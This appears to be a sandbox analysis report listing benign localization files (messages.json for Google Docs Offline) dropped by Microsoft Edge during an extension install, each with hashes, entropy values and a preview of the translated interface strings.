Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir4476_1970425966\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
